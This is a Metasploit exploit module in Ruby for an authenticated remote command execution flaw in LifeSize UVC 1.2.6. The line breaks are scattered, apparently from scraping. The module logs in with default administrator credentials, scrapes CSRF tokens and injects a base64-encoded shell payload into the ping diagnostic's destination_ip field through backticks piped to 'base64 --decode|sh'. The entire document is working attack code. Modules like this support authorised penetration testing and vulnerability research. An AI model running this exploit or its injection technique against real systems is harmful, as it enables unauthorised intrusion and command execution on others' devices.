##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require
'msf/core'
class
Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def
initialize(info={})
super
(update_info(info,
'Name'
=>
"LifeSize UVC Authenticated RCE via Ping"
,
'Description'
=> %q{
When authenticated as an administrator on LifeSize
UVC
1
.
2
.
6
, an attacker
can abuse the ping diagnostic functionality to achieve remote command
execution as the www-data user (
or
equivalent)
},
'License'
=>
MSF_LICENSE
,
'Author'
=>
[
'Brandon Perry <bperry.volatile[at]gmail.com>'
#discovery/metasploit module
],
'References'
=>
[
[
'EDB'
,
'32437'
]
],
'Platform'
=> [
'unix'
],
'Arch'
=>
ARCH_CMD
,
'Targets'
=>
[
[
'LifeSize UVC version <= 1.2.6'
, {}]
],
'Privileged'
=>
false
,
'Payload'
=>
{
'DisableNops'
=>
true
,
'Compat'
=>
{
'PayloadType'
=>
'cmd'
,
'RequiredCmd'
=>
'python'
}
},
'DisclosureDate'
=>
"Mar 21 2014"
,
'DefaultTarget'
=>
0
))
register_options(
[
Opt::
RPORT
(
443
),
OptBool.
new
(
'SSL'
, [
true
,
'Use SSL'
,
true
]),
OptString.
new
(
'TARGETURI'
, [
true
,
'The URI of the vulnerable instance'
,
'/'
]),
OptString.
new
(
'USERNAME'
, [
true
,
'The username to authenticate with'
,
'administrator'
]),
OptString.
new
(
'PASSWORD'
, [
true
,
'The password to authenticate with'
,
'admin123'
])
],
self
.
class
)
end
def
exploit
res = send_request_cgi({
'uri'
=> normalize_uri(target_uri.path,
'accounts'
,
'login/'
)
})
if
!res
or
!res.body
fail_with(
"Server did not respond in an expected way"
)
end
if
res.code !=
200
fail_with(
"Did not get a 200 response, perhaps the server isn't on an SSL port"
)
end
token = /name=
'csrfmiddlewaretoken'
value=
'(.*)'
/.match(res.body)
if
token.length <
2
fail_with(
"Could not find token on page."
)
end
token = token[
1
]
post = {
'csrfmiddlewaretoken'
=> token,
'username'
=> datastore[
'USERNAME'
],
'password'
=> datastore[
'PASSWORD'
]
}
#referer is required
res = send_request_cgi({
'uri'
=> normalize_uri(target_uri.path,
'accounts/'
),
'method'
=>
'POST'
,
'vars_post'
=> post,
'headers'
=> {
},
'cookie'
=>
'csrftoken='
+ token
})
if
!res
fail_with(
"Server did not respond in an expected way"
)
end
#we want a 302, 200 means we are back at login page
if
res.code ==
200
fail_with(
"Authentication failed. Please check your username and password."
)
end
cookie = res.get_cookies
new_cookie =
'csrftoken='
+ token +
'; '
+ cookie
res = send_request_cgi({
'uri'
=> normalize_uri(target_uri.path,
'server-admin'
,
'operations'
,
'diagnose'
,
'ping/'
),
'cookie'
=> new_cookie
})
if
!res
or
!res.body
fail_with(
"Server did not respond in an expected way"
)
end
token = /name=
'csrfmiddlewaretoken'
value=
'(.*)'
/.match(res.body)
token = token[
1
]
new_cookie =
'csrftoken='
+ token +
'; '
+ cookie
pay =
'csrfmiddlewaretoken='
+token
pay <<
'&source_ip='
+ datastore[
'RHOST'
]
pay <<
'&destination_ip=go`echo '
+ Rex::Text.encode_base64(payload.encoded) +
'|base64 --decode|sh`ogle.com'
#referer is required
res = send_request_cgi({
'uri'
=> normalize_uri(target_uri.path,
'server-admin'
,
'operations'
,
'diagnose'
,
'ping/'
),
'method'
=>
'POST'
,
'headers'
=> {
},
'cookie'
=> new_cookie,
'data'
=> pay
})
end
end